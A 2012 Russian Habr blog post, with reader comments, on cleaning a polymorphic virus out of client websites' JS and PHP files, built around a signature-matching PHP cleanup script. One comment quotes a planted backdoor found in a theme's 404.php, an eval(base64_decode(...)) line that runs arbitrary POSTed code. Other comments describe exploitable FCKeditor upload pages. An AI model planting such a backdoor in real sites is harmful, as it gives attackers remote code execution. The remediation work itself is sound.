Пользователь
0,0
рейтинг
9 апреля 2012 в 13:28

Разработка → Очистка заражённых файлов сайта от вредоносного кода из песочницы

Добрый день, уважаемые Хабраюзеры!

Некоторое время назад, около месяца, на сервере нашей компании появился вирус. На одном из крупных проектов были поражены все *.js файлы. Ситуация обычная — в конец файлов был дописан вредоносный код. Яндекс выдавал предупреждение о заражении сайта и в техотдел пришло задание очистить его. Ситуация разрешилась достаточно быстро, проект был выгружен с чистого репозитория в продакшн, пароли сменили.

Однако вскоре со всех отделов компании в техотдел стали поступать жалобы о заражённых сайтах. Менеджерам жаловались клиенты, сеошники трубили что сайты теряют позиции. Началась настоящая эпидемия. Помимо *.js файлов, заражению подверглись так же *.php файлы, в конец которых был дописан код:

echo 'http://somedomain.com/style.js';

Такому масштабному заражению сервер был подвержен впервые. Мысли по этому поводу были разные, вплоть до бэкдора какого-нибудь недовольного уволенного сотрудника, решившего напакостить. Однако это не подтвердилось. Был написал shell скрипт очищающий *.php файлы, а с *.js файлами справлялись по-прежнему, выгрузкой из чистого репозитория. Пароли учётных записей доступов к сайтам, доступы к фтп — всё было изменено. Перевели всех кто работает с фтп на WinSCP и раздали файлы-ключи доступа.

Сервер потихоньку стал «выздоравливать» а сайты возвращаться в яндекс. Однако кроме более сотни сайтов клиентов на нашем сервере, есть клиенты использующие сторонние хостинги. Доступ по фтп, никакой командной строки и shell. Практически на всех сайтах используется самописная CMS (написанная N-ое количество лет назад) в связке с fckeditor'om или старыми версиями ckeditor'ов. В файл менеджере ckfinder'e проверка авторизованности реализована простым return true; Используй нехочу. Стоит также упомянуть что Множество заражённых *.js файлов выгрузкой чистого репозитория не излечить. Git на таких сайтах нами не используется, а большая часть бэкапов на хостингах хранится максимум 7 дней. А в виду того что сайты расположенные на сторонних хостингах, нами практически не мониторятся, все бэкапы так же были заражены.

В каждый файл вирус добавлял произвольное количество собственных копий, от одной до пяти (мне больше не встречалось) и все они имели различные имена переменных, имена функций и зацепиться за них было невозможно. Единственной неизменной частью кода каждого полиморфа являлся следующий участок кода:
=Array.prototype.slice.call(arguments).join(""),

Он и был выбран для поиска вхождений по файлам. Были проверены Jquery библиотеки 1.6.3 и 1.7.2 и в исходном коде совпадений не было обнаружено. Значит последовательность можно было использовать.

Чтобы не возиться вручную с несколькими десятками *.js файлов на каждом сайте, было решено написать скрипт на php. Он должен сканировать все указанные ему файлы на предмет искомой строки. Для расширения кругозора, так сказать, было решено не использовать exec(), system() команды или, к примеру, библиотеку phpseclib. Алгоритм прост до безобразия: Скрипт сканирует все директории начиная от заданной, в поисках указанной строки в файлах поиска. Перед внесением изменений, скрипт бэкапит файл (ну всё же мало ли чего) и удаляет строку, в которой присутствует искомая подстрока. Построчная работа была выбрана в виду того, что вирус в файл записывался в одну строку.

Приведу пример кода вируса в *.js файле: pastebin.com/J0zRduQw

Разбирать его я не стал, кому интересно — в интернете много примеров разбора обфусцированного кода. Поэтому перейду сразу к коду сканера.


<?
/*
 ----------------------------------------------------------------------------------
 dScaner Class - START
 ----------------------------------------------------------------------------------
*/

/*
*
*   Класс - dScaner для сканирования директорий на наличие вредоносного кода в 
*   указанных типах файлов
*   
*   Разработчик: Денис Ушаков
*   Дата разработки: 03-04-2012
*   Версия разработки: 0.0.3
*
*/

Class dScaner {

    // преобразуем входной параметр в массив 
    // $get_str - список параметров
    // $separator - разделитель параметров в списке
    function request($get_str, $separator)
    {
        if (isset($get_str) && !empty($get_str))
        {   
            // эксплоадим строку в массив и возвращаем его
            $obj = explode($separator, $get_str);
            return $obj;
        }
        else
        {
            return false;
        }
    }

    /*
    *
    *   Функция поиска в файлах вхождения заданной строки:
    *
    *   $this->find($path, $files_allowed, $requested_string);
    *   
    *   $path - путь до директории, от которой отталкиваться при сканировании
    *   $files_allowed - список файлов, которые подвергаются сканированию
    *   $requested_string - строка поиска
    *
    */
    function find($path = './', $files_allowed, $requested_string)
    {
        // исключаемые ссылки на директории и файлы, которые будут игнорироваться
        $dir_disallow = array('.', '..', '.htaccess', '.git');

        if(is_dir($path))
        {
           $temp = opendir($path);
           while (false !== ($dir = readdir($temp))) 
           {
                if ((is_dir($path . $dir)) && 
                    (!in_array($dir, $dir_disallow)) ) 
                {
                    // если директория - сканируем её
                    $sub_dir = $path . $dir . '/';
                    $this->find($sub_dir, $files_allowed, $requested_string);
                } 
                elseif ((is_file($path . $dir)) && 
                        (!in_array($dir, $dir_disallow)) && 
                        (strpos($dir, $files_allowed) == true) &&
                        (strpos($dir, '_BACKUP') == false) )
                {
                    // Если файл
                    // получаем полный путь до него
                    $in_dir_file = $path . $dir;
                    // считываем файл в строку
                    $temporary_file = file_get_contents($in_dir_file);  
                    // флаг найденного вхождения искомой строки
                    $file_founded = false;

                    // разбиваем файл на строки
                    $tf_strings = explode("\n", $temporary_file);
                    // обрабатываем каждую отдельно
                    foreach ($tf_strings AS $item)
                    {
                        $item = strval($item);
                        // если в строке есть вхождения искомого запроса
                        if (strpos($item, $requested_string) !== false)
                        { 
                            $file_founded = true;
                        }
                    }
                    // если в файле найдена строка
                    if ($file_founded)
                    {
                        // выводим путь до файла в котором найдено вхождение
                        print "<span style='display:block; 
                                            padding:5px; 
                                            border:1px solid #1f4f18;
                                            background-color:#d5f5ce; 
                                            font-size:12px;
                                            line-height:16px;
                                            font-family:tahoma, sans-serif;
                                            margin-bottom:-15px;'>" . $in_dir_file . " - в файле обнаружена искомая строка.<br>
                                </span><br>";                        
                    }
                }
           }
           closedir($temp);
        } 
    }

    /*
    *
    *   Функция сканирования вредоносного кода:
    *
    *   $this->scan($path, $files_allowed, $requested_string);
    *   
    *   $path - путь до директории, от которой отталкиваться при сканировании
    *   $files_allowed - список файлов, которые подвергаются сканированию
    *   $requested_string - строка, по которой определяется наличие вредоносного кода
    *
    */
    function scan($path = './', $files_allowed, $requested_string)
    {
        // исключаемые ссылки на директории и файлы
        $dir_disallow = array('.', '..', '.htaccess', '.git');

        if(is_dir($path))
        {
           $temp = opendir($path);
           while (false !== ($dir = readdir($temp))) 
           {
                if ((is_dir($path . $dir)) && 
                    (!in_array($dir, $dir_disallow)) ) 
                {
                    // если директория - сканируем её
                    $sub_dir = $path . $dir . '/';
                    $new_parent_dir = $path . $dir;
                    $this->scan($sub_dir, $files_allowed, $requested_string, $new_parent_dir);
                } 
                elseif ((is_file($path . $dir)) && 
                        (!in_array($dir, $dir_disallow)) && 
                        (strpos($dir, $files_allowed) == true) &&
                        (strpos($dir, '_BACKUP') == false) )
                {
                    // Если файл
                    // получаем полный путь до него
                    $in_dir_file = $path . $dir;
                    // считываем файл в строку
                    $temporary_file = file_get_contents($in_dir_file);  
                    // флаг бекапа файла                                   
                    $create_backup = false;                    

                    // разбиваем файл на строки и считываем каждую отдельно
                    $tf_strings = explode("\n", $temporary_file);
                    // индекс строки файла
                    $str_index = 0;
                    // каждую строку обрабатываем отдельно
                    foreach ($tf_strings AS $item)
                    {
                        $item = strval($item);
                        if (strpos($item, $requested_string) !== false)
                        { 
                            // если в строке есть вхождения искомого запроса
                            // флаг бекапа файла, в котором найден вредоносный код
                            $create_backup = true; 
                            // удаляем всю строку с вредоносным кодом
                            unset($tf_strings[$str_index]);
                        }
                        $str_index++;
                    }

                    // создаём бэкап
                    if ($create_backup)
                    {
                        // меняем права в папке в которой находимся чтобы иметь возможность писать в неё
                        chmod($path, 0777);
                        // формируем имя БЭКАПа файла
                        $temp_file_backup = $in_dir_file.'_BACKUP';
                        // сохраняем БЭКАП файла рядом с исходным
                        file_put_contents($temp_file_backup, $temporary_file);
                        // собираем очищенный файл в строку
                        $scanned_file = implode("\n", $tf_strings);
                        // сохраняем очищенный файл
                        if (file_put_contents($in_dir_file, $scanned_file))
                        {   
                            // перезаписали удачно
                            print "<span style='display:block; 
                                                padding:5px; 
                                                border:1px solid #1f4f18;
                                                background-color:#d5f5ce; 
                                                font-size:12px;
                                                line-height:16px;
                                                font-family:tahoma, sans-serif;
                                                margin-bottom:-15px;'>" . $in_dir_file . " - Файл очищен. (+ BACKUP) <br>
                                    </span><br>";
                        }
                        else
                        {
                            // перезапись не удалась
                            print "<span style='display:block; 
                                                padding:5px; 
                                                border:1px solid #822121;
                                                background-color:#ea7575; 
                                                font-size:12px;
                                                line-height:16px;
                                                font-family:tahoma, sans-serif;
                                                margin-bottom:-15px;'>".$in_dir_file ." - Файл НЕ очищен.
                                    </span><br>";  
                        }
                        // меняем права в папке в которой находимся обратно на 755
                        chmod($path, 0755);                       
                    }
                }
           }
           closedir($temp);
        } 
    }

    /*
    *
    *   Функция восстановления БЭКАПОВ файлов
    *
    *   $this->restore_backups($path, $files_allowed);
    *   
    *   $path - путь до директории, от которой отталкиваться при восстановлении
    *   $files_allowed - список файлов, которые подвергаются восстановлению
    *
    */
    function restore_backups($path = './', $files_allowed)
    {
        // исключаемые ссылки на директории и файлы
        $dir_disallow = array('.', '..', '.htaccess', '.git');
        if(is_dir($path))
        {
           $temp = opendir($path);
           while (false !== ($dir = readdir($temp))) 
           {
                if ((is_dir($path . $dir)) && 
                    (!in_array($dir, $dir_disallow)) ) 
                {
                    // если директория - сканируем её
                    $sub_dir = $path . $dir . '/';
                    $this->restore_backups($sub_dir, $files_allowed);
                } 
                elseif ((is_file($path . $dir)) && 
                        (!in_array($dir, $dir_disallow)) && 
                        (strpos($dir, $files_allowed) == true) )
                {
                    // Если файл
                    // получаем полный путь до него
                    $in_dir_file = $path . $dir;
                    if (is_file($in_dir_file.'_BACKUP'))
                    {
                        // БЭКАП существует, получаем его содержимое
                        $temporary_file_from_backup = file_get_contents($in_dir_file.'_BACKUP');
                        // восстанавливаем бэкап файла
                        if (file_put_contents($in_dir_file, $temporary_file_from_backup))
                        {   
                            // удаляем бэкап
                            unlink($_SERVER['DOCUMENT_ROOT'].'/'.$in_dir_file.'_BACKUP');
                            // бэкап восстановили
                            print "<span style='display:block; 
                                                padding:5px; 
                                                border:1px solid #1f4f18;
                                                background-color:#d5f5ce; 
                                                font-size:12px;
                                                line-height:16px;
                                                font-family:tahoma, sans-serif;
                                                margin-bottom:-15px;'>".$in_dir_file ." - восстановлен.
                                    </span><br>";                  
                        }
                        else
                        {
                            // бэкап НЕ восстановили
                            print "<span style='display:block; 
                                                padding:5px; 
                                                border:1px solid #822121;
                                                background-color:#ea7575; 
                                                font-size:12px;
                                                line-height:16px;
                                                font-family:tahoma, sans-serif;
                                                margin-bottom:-15px;'>".$in_dir_file ." - НЕ восстановлен.
                                    </span><br>";  
                        }
                    }
                }
           }
           closedir($temp);
        } 
    }        
}

/*
 ----------------------------------------------------------------------------------
 dScaner Class - END
 ----------------------------------------------------------------------------------
*/

?>

Код класса довольно подробно закоментирован, вопросов возникнуть не должно.
Пример использования (первый параметр — стартовая директория поиска, второй — тип файлов, учавствующих в поиске, третий — строка поиска):

Создаём экземпляр сканера.


$dron = new dScaner;

Прежде чем что-то перезаписывать, стоит посмотреть, есть ли файлы удовлетворяющие условиям поиска.


$dron->find('./', '.js', '=Array.prototype.slice.call(arguments).join(""),');

Запускаем зачистку.


$dron->scan('./', '.js', '=Array.prototype.slice.call(arguments).join(""),');

В случае чего, всегда можно восстановить созданные бэкапы.


$dron->restore_backups('./', '.js');

Сканер был протестирован на многих сайтах и отрабатывает как нужно, единственная проблема которая возникла у нас на сервере — права владельца файла. Нужно чтобы owner'om файла был www:www. В среднем, на один сайт с нескольким десятком *.js файлов уходило от 5-10 до 20 секунд. И привожу список хостингов, на которых скрипт был успешно протестирован: infobox, agava, jino, mchost, hc. Из всех, самым замедленным был mchost, на остальных всё работало достаточно шустро.

P.S. Скрипт не претендует на панацею от вирусов, разработан под конкретный случай заражения и под каждый последующий требует доработки. Однако с поставленной задачей отлично справляется. Надеюсь, кому-то будет полезен.
Бест регардс!
Денис Ушаков @denum
карма
14,0
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Спецпроект

Самое читаемое Разработка

Комментарии (52)

  • +5
    Гдеж вы в пятницу были? =( пришлось чистить тотже самый вирус, благо на всех хостингах был ssh. После курения логов для определения стороны напасти в интернете был вытащен вот такой способ:
    grep -rl '=Array.prototype.slice.call(arguments).join(""),' . | while read FILENAME; do sed -i -e '$d' $FILENAME; echo "$FILENAME"; done
    Излечилось без особых проблем.
    • 0
      К сожалению не было возможности написать статью ранее. Написан же данный сканер был аж во вторник, 3 апреля.
      Но главное не пройденный путь, а результат!)
    • 0
      Вот-вот, я тоже sedом избавился от него. Только в связке с find.
    • 0
      Не от сюда ли этот способ был взят?
    • 0
      Уже не актуально. Этот вирус мутировал и теперь другая сигнатура
      ")===83)try{Boolean().prototype.q}catch(egewgsd){f=['
  • +2
    А откуда точно зараза прилезла — определили?
    • 0
      Через заражённую машину, с фтп клиента увели доступы. Это наиболее вероятный сценарий, поскольку пока не были очищены рабочие машины сотрудников, пляски с чисткой происходили регулярно. На данный момент, как я уже говорил, пароли сменили, фтп клиенты сменили, машины очистили. Пока всё спокойно.
      • 0
        Вы бы логи посмотрели, если они есть. Что бы заразить весь сервер нужно не только доступ к фтп клиента, но и рут доступ к серверу, который получается либо если криво настроенны права, либо если старые, дырявые версии ПО. Собственно ПО рекомендую обновить до последних стабильных версий.
        • 0
          Здесь скорее подразумевалось не сервер в общем смысле, а аккаунт шаредхостинга, на котором несколько сайтов.
  • +2
    вирус увел пароли с машины, на которой редактировались эти сайты.
    Сохранять в клиентах пароли удобно, но ни капли не безопасно =\
  • +1
    По личному опыту скажу, что одной из причин такого масштабного заражения может быть тупо вирус на машинах, с которых клиенты ходят по ftp на свои сайты. Причем, вирусу достаточно получить хост/логин/пароль для последующего заражения сайта своими силами. Т.е. одна из мер по борьбе с дальнейшим распостранением — смена паролей + обязательная антивирусная проверка клиентских машин.
  • 0
    Тоже столкнулись с такой проблемой, очистили сайты, проверили ПК на вирусы, на нескольких машинах были обнаружены таковые.

    Кстати, расшифрованный код достаточно тривиален: pastebin.com/M6U1xC6L
    URL почему-то недоступен.
  • 0
    М-да. Ох не зря мы категорически запретили любой админский доступ с вендов на свои сайты.
    • 0
      Я своим тоже запретил это делать. Сменил пароли и никого больше не пускаю после пятничного случая.
  • 0
    И я немного пострадал из-за этого вируса… Пойду в fckeditor дыру закрывать…
  • НЛО прилетело и опубликовало эту надпись здесь
    • НЛО прилетело и опубликовало эту надпись здесь
    • +1
      Код не тронутый — как писал, таким и оставил. Для статьи на хабр добавил только подробные комментарии.
      И недоработок действительно не мало, что уже говорить о том, что если указать тип — .php то скрипт перезапишет и самого себя.
      Но когда писался сканер, важно было решить проблему, о другом мало думалось.

      Извиняюсь за то, что разочаровал Вас!
  • 0
    man grep
    man egrep
  • 0
    У нас тоже было — убрали из JS дописанный код, сменили пароли на фтп, перешли на sFTP. Проблема решилась. Причем мы посмотрели что подгружается с внешнго сайта, куда вел код — там не было ничего. То есть скрипткидди используя уязвимость в FTP софте подгружал JS код без нагрузки, потом через какое-то время собирал урожай сайтов, за которыми «не следят» и туда уже загружал действительных зловредов. Такие дела.
  • 0
    if (isset($get_str) && !empty($get_str))

    это избыточная проверка, isset здесь совсем не нужен, достаточно !empty.
    Самописный рекурсивный обход — это хорошо, но по-моему, вам бы подошёл и стандартный РНР-шный класс RecursiveDirectoryIterator
  • 0
    также в порядке облома вирусописателям было бы неплохо настучать хостерам тех сайтов, откуда подключался вредоносный код.
  • +1
    Пара замечаний:

    1. У Вас ну очень странный док-блок… Вот примерно правильный
        /**
         * Преобразуем входной параметр в массив
         *
         * @param string $get_str Список параметров
         * @param string $separator Разделитель параметров в списке
         * @return array Параметры или FALSE
         */
    


    2. function request(...) — используем PHP 4.Х? Забыли модификаторы доступа

    3. dScanner->request(...): isset($get_str) — избыточно ибо будет ошибка при упущении этого параметра

    4. Функция find:
    $path = realpath('/* тут директория проекта */');
    
    $files = new RegexIterator(
        new RecursiveIteratorIterator(
            new RecursiveDirectoryIterator($path)
        ),
        '/^.+\.js$/i',
        RecursiveRegexIterator::GET_MATCH
    );
    
    return $files;
    


    5. Функция которая выводит список файлов и функция scan() должны использовать функцию find().

    П.С. Код писал на коленке и не проверял, просьба ничем не кидаться.
    • 0
      почему не FilterIterator?
      • 0
        Придётся дописывать метод accept() и т.д. Хотя — можно данный класс отнаследовать от FilterIterator. По сути — будет тоже самое :)
        • 0
          Как по мне тут класс вообще не нужен, 3 функции обернул автор в класс и ооп-way якобы…
          На счет RecursiveIteratorIterator вещь прикольная, но на тыщенке файлов, выделенные щедрым хостером 32мб памяти под скрипт, могут и закончиться.
          • 0
            ИМХО, имея тысячу .js-файлов зависеть от какого-то щедрого хостера. Не верю! Такого уровня проекты имеют свой кластер серверов.

            Если же Вы говорили про перебор тысячи файлов — Вы не поверите, но это будет весьма экономно:
            <?php
            $fStart = microtime(TRUE);
            define('DS', DIRECTORY_SEPARATOR);
            $sPath = realpath(dirname(__FILE__) . DS . '..' . DS . '..' . DS);
            
            $aFiles = new RegexIterator(
                new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($sPath . DS)
                ),
                '/^.+\.js$/i',
                RegexIterator::GET_MATCH
            );
            $aFoundFiles = array();
            foreach ($aFiles as $aFile) {
                $aFoundFiles[] = $aFile[0];
            }
            unset($aFile, $aFiles);
            var_dump(
                count($aFoundFiles),
                microtime(TRUE) - $fStart . ' sec',
                memory_get_usage(TRUE),
                memory_get_peak_usage(TRUE));
            /*
            int(1184)
            string(19) "47.937906980515 sec"
            int(786432)
            int(786432)
            */
            


            Много времени заняло потому что перелопатило 32529 файлов в 12227 каталогах. Много нашло потому что там присутствуют yui, jqGrid, aloha, tinymce, ckeditor + _source, jQuery, jQueryUI ну и наши скрипты.
            • 0
              Забыл, запуск проводился на ноутбуке с 5400 об. винтом, 4 ГБ RAM и Core2Duo T5750 2.0 ГГц
    • 0
      Зачем же сразу кидаться? Дельные замечания!
  • +1
    А не проще было на время выяснения поставить какую-то систему контроля версий и откатывать изменения до последнего неинфицированного коммита. Да и изменения так мониторить проще. Просто сам когда-то сражался, такая мысль пришла после, но думаю достаточно эффективно и удобно было бы в данной ситуации.
    Ну, или как вариант, убрать права на запись в /var/www… для всех кроме рута. Это первое, что нужно было сделать в такой ситуации.
    Да, и странно, что логи ftp сервера не дали ответа кто-же изменил эти скрипты.
  • 0
    Да, и к слову, код, это результат работы обрусификатора, посему опираться на какие-то сигнатуры из него ненадежно. При следующей вставке мог быть совершенно другой код и сканер бы оказался бесполезным. Посему в таких случаях лучше следить за любыми изменениями в файлах, а не искать конкретные строчки, имхо.
  • 0
    Мы в четверг боролись с этой ботвой. Тоже был написан клинер, но на Perl'е и чуть покороче :)

    Кроме этого пришлось написать сканер, опрашивающий морды сайтов по списку на предмет зараженных .js файлов. Потому что было непонятно какие из сайтов пострадали, поэтому пока находимся в режиме повышенной готовности :)
  • 0
    Я бы еще порекомендовал удалить файлы: uploadtest.html и test.html в папке FCKeditora /fckeditor/editor/filemanager/connectors
    Есть подозрение, что именно через них взламывали сайты и заливали скрипты.
    • 0
      взлом через хтмл? в первый раз слышу
      • 0
        Насколько я нарыл в интернете, то через эти файлы можно закачать любой php скрипт, через который уже и заражаются остальные. По крайней мере по логам сервера хакер первым делом обращался именно к этому файлу.
        Еще в инете пишут, что эта уязвимость распространяется на версии fckeditor до 2.6.4
  • НЛО прилетело и опубликовало эту надпись здесь
    • НЛО прилетело и опубликовало эту надпись здесь
      • НЛО прилетело и опубликовало эту надпись здесь
      • 0
        Точно также как в постах:
        • <source lang="php">Много строк кода</source>
        • <code>одна строка или кусок кода</code>
  • 0
    Отличный скрипт, даже сам себя чистит в строке поиска))
    я так смотрю прям эпидемия какая то, меня тоже одален этот вирус…
  • 0
    Недавно взломали сайт одного из клиентов, при заходе на сайт — хром ругается, антивирус ругается. Зашел по фтп, открываю файл который явно заражен — код чистый, открываю другой — тоже чисто. Чувствую что то не то. Захожу по webftp — есть лишний код в этих файлах. Опять по ftp открываю — нет. Как оказалось, антивирус автоматически удалял этот код при выкачивании из фтп. Решил вопрос простым копированием файлов на локальный компьютер и загрузкой обратно.
  • 0
    Что поражает, fck-дырка-то совсем старая. А ее по прежнему имеют.
  • 0
    я тоже боролся, только sed+find: habrahabr.ru/post/139510/
  • 0
    Старая история, но лучше не ломать голову как удалить вирус, а заранее сделать примитивнейший скрипт-антивирус, который бекапит часто заражаемые файлы в архив, чтобы в архиве их уже никто не попортил. Всегда можно восстановить файлы из свежего бекапа. Во многих CMS есть такие модули, даже в бесплатных.
  • 0
    Это далеко не единственный вирус… На серверах нашей компании возникло глобальное заражение и у нас уже есть куча сигнатур как js, так и php вирусов. А так же около 50 шеллов…
    • 0
      так опубликуйте ;)
      • 0
        Была мыслишка, думаю, сегодня оформлю.
  • 0
    Я раньше тоже руками искал вредоносное ПО, потом мне надоело и я написал php скрипт. Вот тут можно качнуть revisium.com/ai/
  • +1
    тоже столкнулся с проблемой, но на тот момент не было ни каких сведений о этом трое JS/Agent.NEK (ESET). Думал что это единичный случай для js файлов (ну только для одного или для двух), когда узнал что заражены все файлы, начал искать одинаковые части скрипта, нашел и решил написать скрипт PHP с помощью него вычистил сайт. После выложил его на github и решил узнать появилась ли такая проблема не только у меня. Действительно я уже не был один и решил помочь, дал ссылку людям, благодарности были, начал изучать этот трой и обновлять скрипт и вот конечный вариант если для кого то проблема актуальна — gist.github.com/2359497

    ЗЫ: так же он ищет JS/Kryptik.LP
  • 0
    У клиента похожая хрень была… Добавился код редиректа на левые сайты, если хрефом была ПС (банальный слив трафа).
    Лечил поиском и удалением всех вхождений типа eval\(base64_decode\(".+?\"\)\)\; и аналогичными конструкциями регулярных выражений.

    Уязвимость, как правило, была в темах к Вёрдпрессу и Джумле!
    Файл /wp-content/themes/paradise/404.php:

    <?php if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;} ?>
    


    Дырка давала возможность злоумышленнику послать кодированный POST-запрос на несуществующую страницу сайта и выполнить таким образом любой php-скрипт. Скрипт конечно сами догадываетесь какой)))

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.